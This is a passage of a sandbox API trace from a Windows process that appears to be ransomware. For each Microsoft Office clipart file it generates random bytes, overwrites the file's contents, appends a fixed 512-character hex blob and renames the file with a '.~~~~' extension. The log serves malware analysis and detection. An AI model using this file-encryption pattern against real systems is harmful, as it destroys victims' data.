	[0088.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0610
	[0088.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.915] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.915] GetLastError () returned 0x0
	[0088.915] GetLastError () returned 0x0
	[0088.915] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.915] GetLastError () returned 0x0
	[0088.916] GetLastError () returned 0x0
	[0088.918] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeb01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.918] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x14ff, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x14ff, lpOverlapped=0x0) returned 1
	[0088.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.918] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.918] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.918] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.918] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.919] CloseHandle (hObject=0x128) returned 1
	[0088.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.~~~~")) returned 1
	[0088.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.920] GetLastError () returned 0x0
	[0088.920] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.921] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.921] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.921] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20891131042) returned 1
	[0088.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ecbf230, dwHighDateTime=0x1d60e1e)) 
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5460
	[0088.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5460 | out: hHeap=0x300000) returned 1
	[0088.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0578
	[0088.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.922] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.922] GetLastError () returned 0x0
	[0088.922] GetLastError () returned 0x0
	[0088.922] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.922] GetLastError () returned 0x0
	[0088.923] GetLastError () returned 0x0
	[0088.984] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdbe0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.990] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x2420, lpOverlapped=0x0) returned 1
	[0088.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.996] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.996] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.996] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.996] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.996] CloseHandle (hObject=0x128) returned 1
	[0088.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.~~~~")) returned 1
	[0089.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.013] GetLastError () returned 0x0
	[0089.018] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.019] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.019] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.019] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20900895514) returned 1
	[0089.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eda3a70, dwHighDateTime=0x1d60e1e)) 
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c88
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c88 | out: hHeap=0x300000) returned 1
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7f70
	[0089.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.019] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.019] GetLastError () returned 0x0
	[0089.020] GetLastError () returned 0x0
	[0089.020] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.020] GetLastError () returned 0x0
	[0089.020] GetLastError () returned 0x0
	[0089.021] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff2f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.021] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xd10, lpOverlapped=0x0) returned 1
	[0089.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.022] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.022] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.022] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.022] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.022] CloseHandle (hObject=0x128) returned 1
	[0089.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.022] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.~~~~")) returned 1
	[0089.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.023] GetLastError () returned 0x0
	[0089.024] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.025] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.025] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.025] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20901527292) returned 1
	[0089.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9edc9bd0, dwHighDateTime=0x1d60e1e)) 
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c50
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c50 | out: hHeap=0x300000) returned 1
	[0089.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ed8
	[0089.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.026] GetLastError () returned 0x0
	[0089.026] GetLastError () returned 0x0
	[0089.026] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.026] GetLastError () returned 0x0
	[0089.026] GetLastError () returned 0x0
	[0089.028] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe0e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.029] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1f20, lpOverlapped=0x0) returned 1
	[0089.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.029] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.029] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.029] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.030] CloseHandle (hObject=0x128) returned 1
	[0089.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.~~~~")) returned 1
	[0089.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.030] GetLastError () returned 0x0
	[0089.031] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.031] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.031] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.032] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20902164367) returned 1
	[0089.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9edc9bd0, dwHighDateTime=0x1d60e1e)) 
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c18
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c18 | out: hHeap=0x300000) returned 1
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7da8
	[0089.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.032] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.032] GetLastError () returned 0x0
	[0089.032] GetLastError () returned 0x0
	[0089.032] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.032] GetLastError () returned 0x0
	[0089.032] GetLastError () returned 0x0
	[0089.037] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.037] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x728, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x728, lpOverlapped=0x0) returned 1
	[0089.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.037] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.037] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.037] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.037] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.037] CloseHandle (hObject=0x128) returned 1
	[0089.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.038] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.~~~~")) returned 1
	[0089.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.039] GetLastError () returned 0x0
	[0089.040] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.041] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.041] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.041] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20903098849) returned 1
	[0089.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9edefd30, dwHighDateTime=0x1d60e1e)) 
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
